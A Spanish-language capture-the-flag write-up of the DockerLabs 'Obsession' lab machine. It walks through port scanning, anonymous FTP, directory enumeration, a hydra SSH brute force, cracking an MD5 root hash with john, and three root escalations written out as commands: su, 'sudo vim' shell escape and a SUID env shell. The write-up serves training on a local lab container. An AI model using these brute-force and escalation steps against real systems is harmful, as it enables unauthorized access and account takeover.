murrusko

Obsession

26 Jun 2024

Estamos ante un docker que contiene una distribución Linux. Es de nivel muy facil y es de la plataforma dockerlabs.

Enumeración

Ponemos el docker en marcha con el auto_deploy.sh que trae el zip. Cuando termina de cargar nos indica la dirección IP de nuestra víctima, en nuestro caso es 172.17.0.2.

Empezamos realizando un escaneo de puertos con nmap. Hacemos un escaneo silencioso-sS, a todos los puertos -p-, que nos de detalles del escaneo -v, que no haga ping al host -Pn, que no haga resolución de DNS -n a nuestra máquina victima 172.17.0.2:

$ sudo nmap -sS -p- -Pn -n -v 172.17.0.2
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Vemos que tiene los puertos 21, 22 y 80 abiertos. Vamos a realizar otro escaneo con nmap pero esta vez para detectar la versión del servicio que este corriendo, -sV, y para ejecutar los scripts por defecto para detectar vulnerabilidades, -sC:

$ sudo nmap -sCV -p21,22,80 -v 172.17.0.2
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0             667 Jun 18 03:20 chat-gonza.txt
|_-rw-r--r--    1 0        0             315 Jun 18 03:21 pendientes.txt
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:05:bd:a9:97:27:a5:ad:46:53:82:15:dd:d5:7a:dd (ECDSA)
|_  256 0e:07:e6:d4:3b:63:4e:77:62:0f:1a:17:69:91:85:ef (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Russoski Coaching
MAC Address: 02:42:AC:11:00:02 (Unknown)

Como vemos se puede acceder al ftp de forma anónima con las credenciales de ftp:ftp:

ftp ftp@172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password: 
230 Login successful.

Nos descargamos todos los ficheros con mget * y respondemos a para que se descargue todos sin volver a preguntar.

ftp> mget *
mget chat-gonza.txt [anpqy?]? a
Prompting off for duration of mget.
229 Entering Extended Passive Mode (|||17408|)
150 Opening BINARY mode data connection for chat-gonza.txt (667 bytes).
100% |******************|   667       13.82 MiB/s    00:00 ETA
226 Transfer complete.
667 bytes received in 00:00 (673.59 KiB/s)
229 Entering Extended Passive Mode (|||32406|)
150 Opening BINARY mode data connection for pendientes.txt (315 bytes).
100% |******************|   315        5.36 MiB/s    00:00 ETA
226 Transfer complete.
315 bytes received in 00:00 (466.08 KiB/s)
ftp>

Leemos el fichero chat-gonza.txt:

$ cat chat-gonza.txt 
[16:21, 16/6/2024] Gonza: pero en serio es tan guapa esa tal Nágore como dices?
[16:28, 16/6/2024] Russoski: es una auténtica princesa pff, le he hecho hasta un vídeo y todo, lo tengo ya subido y tengo la URL guardada
[16:29, 16/6/2024] Russoski: en mi ordenador en una ruta segura, ahora cuando quedemos te lo muestro si quieres
[21:52, 16/6/2024] Gonza: buah la verdad tenías razón eh, es hermosa esa chica, del 9 no baja
[21:53, 16/6/2024] Gonza: por cierto buen entreno el de hoy en el gym, noto los brazos bastante hinchados, así sí
[22:36, 16/6/2024] Russoski: te lo dije, ya sabes que yo tengo buenos gustos para estas cosas xD, y sí buen training hoy

Como hace mención a una URL realizamos una búsqueda de directorios y ficheros en el servidor. Para ello, usamos la herramienta feroxbuster. Como parámetros le indicamos con -u la url, con -w el diccionario a usar para la búsqueda y con -r que si hay alguna redireccion que la siga.

feroxbuster -u http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -r
200      GET      158l      358w     3292c http://172.17.0.2/style.css
200      GET       16l       51w      731c http://172.17.0.2/.formrellyrespexit.html
200      GET      118l      384w     5208c http://172.17.0.2/
200      GET        1l        8w       61c http://172.17.0.2/backup/backup.txt
200      GET       16l       60w      937c http://172.17.0.2/backup/
200      GET       37l      287w     2417c http://172.17.0.2/important/important.md
200      GET       16l       58w      947c http://172.17.0.2/important/

Encontramos varios ficheros entre ellos /backup/backup.txt

$ curl http://172.17.0.2/backup/backup.txt        
Usuario para todos mis servicios: russoski (cambiar pronto!)

Con esto ya tenemos un usuario del sistema russoski.

Intrusión

Vamos a probar si el usuario russoski tiene una password que este en el famoso diccionario rockyou.txt. Usaremos la herramienta hydra para realizar un ataque de fuerza bruta al servicio ssh. Le indicamos con -l el nombre de usuario, con la-P el diccionario rockyou.txt con las psswords, con los parámetros -V -I -f le indicamos que nos muestre por pantalla el detalle de la prueba, que empiece de 0 aunque encuentre un fichero de restauración y que si encuentra una password que se detenga.

hydra -l russoski -P /usr/share/wordlists/rockyou.txt -V -I -f ssh://172.17.0.2
...
[22][ssh] host: 172.17.0.2   login: russoski   password: iloveme

Encontramos un password válida para russoski:

$ ssh russoski@172.17.0.2
russoski@172.17.0.2's password:
russoski@28c41160317a:~$

Hacemos un listado completo del home del usuario con ls -la y vemos que el fichero .bash_history no está vacio ni esta redirigido a /dev/null. Lo leemos:

russoski@28c41160317a:~$ cat .bash_history 
ls
pwd
exit
ls
pwd
exit
su root
sudo -l
clear
su root
cd /var/www/html
ls
ls -la
cat .formrellyrespexit.html 
clear
ls
cd backup/
cd ..
cd important/
ls -la
cat .root-passwd.txt 
clear
cd /home/russoski/
ls
cd Proyectos/
ls
cd ..
cd Documentos/
ls
la -la
ls -la
clear
sudo -l
chmod u+s /usr/bin/env
sudo vim -c ':!/bin/sh'
clear
ls
cd ..
ls
clear
ls
exit
clear
ls
su root
sudo -l
sudo vim -c ':!/bin/sh'
find / -perm -4000 2>/dev/null
/usr/bin/env /bin/sh -p
clear
cd /root
exit
sudo -l
exit

Viendo detalladamente el fichero se aprecian 3 posibles formas que se han usado para escalar privilegios.

Escalada de privilegios 1

Nos movemos al directorio cd /var/www/html/important y leemos el fichero .root-passwd.txt:

russoski@28c41160317a:/var/www/html/important/$ cat .root-passwd.txt 

Anuar brother, por aquí te dejo la clave de root como dijimos, arréglame eso en cuanto puedas y ya sabes borra este archivo
apenas ya no lo necesites, que yo lo tengo guardado en KeePassXC, ah y que nadie excepto tú entre a la carpeta "/root"!

aac0a9daa4185875786c9ed154f0dece (te lo he hasheado por si las moscas)

Copiamos el hash y creamos un fichero con el nombre hash. Después usando la herramienta john intentamos desencriptar el hash. Le indicamos que se trata de un hash en MD5 con --format=Raw-MD5, el diccionario de passwords con —-wordlist= y finalmente el fichero que contiene el hash:

$ echo "aac0a9daa4185875786c9ed154f0dece" > hash

$ john --format=Raw-MD5  --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
fucker           (?)

Obtenemos una clave y la probamos con su root:

russoski@28c41160317a:~$ su root
Password:
root@28c41160317a:~# id
uid=0(root) gid=0(root) groups=0(root)

Comprobamos con id que somos root

Escalada de privilegios 2

La segunda manera es ejecutar sudo -l para ver que comandos puede ejecutar como root en el sistema.

russoski@28c41160317a:~$ sudo -l
Matching Defaults entries for russoski on 28c41160317a:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User russoski may run the following commands on 28c41160317a:
    (root) NOPASSWD: /usr/bin/vim

Como vemos puede ejecutar vim como root. Vamos a la famosa web de GTFOBins y encontramos la manera de escalar privilegios con vim GTFOBins vim. Ejecutamos y comprobamos que somos root.

russoski@28c41160317a:~$ sudo vim -c ':!/bin/sh'

# whoami
root
#

Escalada de privilegios 3

Para finalizar vamos a ver la tercera forma. Esta vez buscamos binarios que tengan el permiso SUID activo. Usamos find y le indicamos que busque desde la raiz /, ficheros -type f, que tengan el permiso +s -perm -4000 y que mande los errores a null con 2>/dev/null:

russoski@28c41160317a:~$ find / -type f -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/env
/usr/bin/mount
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Encuentra el binario env. Como vemos en GTFOBins env se puede escalar privilegios de la siguiente manera:

russoski@28c41160317a:~$ /usr/bin/env /bin/sh -p
# whoami
root
#

Y de esta manera hemos terminado el laboratorio